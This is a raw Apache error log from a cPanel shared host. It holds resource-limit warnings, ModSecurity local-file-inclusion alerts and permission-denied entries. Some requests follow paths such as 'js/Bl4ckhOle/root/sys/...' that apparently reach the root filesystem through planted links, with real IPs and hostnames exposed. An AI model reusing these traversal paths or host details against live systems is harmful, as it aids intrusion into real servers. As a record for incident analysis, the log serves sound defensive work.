[Fri Jul 17 07:54:33.490974 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.553286 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.593998 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:33.612374 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.695984 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.755187 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.962506 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.013599 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.013716 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.142137 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXunUgtv5ujFYWh_pYQAAAA0"]
[Fri Jul 17 07:54:34.295555 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.296837 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.356151 2026] [hostinglimits:warn] [pid 1993571:tid 1993571] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993571) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.438289 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.449743 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXmidQp3SsqeycPEmTQAAAAo"]
[Fri Jul 17 07:54:34.459619 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:34.650295 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:34.650428 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:34.680239 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:34.685777 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.690034 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:34.714463 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 47.82.8.182:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:64/device/tty/ttyS0/custom_divisor
[Fri Jul 17 07:54:34.738198 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:35.018197 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:35.018324 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:35.026791 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:35.028821 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:35.177649 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 47.79.51.167:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:03.0/firmware_node/physical_node/subsystem/rescan
[Fri Jul 17 07:54:35.180022 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSX7yEqmgiTSUa55oBRAAAABA"]
[Fri Jul 17 07:54:35.398013 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:35.399634 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:35.480963 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:35.566922 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXxAi3pC6yjXGNq12iwAAAAU"]
[Fri Jul 17 07:54:35.694123 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:35.899506 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 57.141.18.72:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory70/subsystem/devices/memory85/subsystem/devices/memory116/subsystem/drivers_probe
[Fri Jul 17 07:54:35.980978 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.102325 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.161929 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.218309 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.218373 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.500957 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:36.523101 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.527259 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.531625 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.536714 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.540755 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:36.595337 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:36.680939 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:36.775848 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:36.868965 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:37.648516 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:37.711521 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory106/node0/compact
[Fri Jul 17 07:54:37.891290 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/node/node0/memory67/subsystem/uevent
[Fri Jul 17 07:54:38.075636 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:38.075758 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:38.394060 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:38.724384 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:38.820791 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:38.900304 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory116/node0/compact
[Fri Jul 17 07:54:38.995931 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:39.273382 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:39.365662 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:39.365747 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:39.365782 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:39.456941 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory132/node0/compact
[Fri Jul 17 07:54:39.729577 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:39.821239 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:40.113686 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:40.640109 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:40.731362 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/node/node0/memory87/subsystem/uevent
[Fri Jul 17 07:54:40.805945 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:42.709644 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:54370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:42.933941 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:43.575560 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:43.580360 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-global": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSagG5-NXx3Mem1QgH1wAAAA8"]
[Fri Jul 17 07:54:43.637808 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-ip": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSagG5-NXx3Mem1QgH1wAAAA8"]
[Fri Jul 17 07:54:43.717426 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:43.942985 2026] [security2:error] [pid 1994976:tid 1994976] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-global": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSajRCJXF37-WnVv0cHgAAABI"]
[Fri Jul 17 07:54:43.943026 2026] [security2:error] [pid 1994976:tid 1994976] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-ip": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSajRCJXF37-WnVv0cHgAAABI"]
[Fri Jul 17 07:54:44.082964 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almSa4ha5y5fYnQ1qRrpCgAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1074&page_105=3003
[Fri Jul 17 07:54:44.082992 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almSa4ha5y5fYnQ1qRrpCgAAAAE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1074&page_105=3003
[Fri Jul 17 07:54:44.528292 2026] [security2:error] [pid 1993659:tid 1993659] [client 45.156.128.37:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almSbJOFLENLI63GGOED8AAAAAQ"]
[Fri Jul 17 07:54:45.111932 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:45.654654 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:46.506015 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:47.309607 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:47.523696 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:54714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:48.980959 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:54828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:49.226484 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:49.485779 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-global": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSb7yEqmgiTSUa55oBVwAAABA"]
[Fri Jul 17 07:54:49.485813 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ajsstarlog-ip": Permission denied [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSb7yEqmgiTSUa55oBVwAAABA"]
[Fri Jul 17 07:54:50.170830 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:54874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:54:50.272193 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:50.272309 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
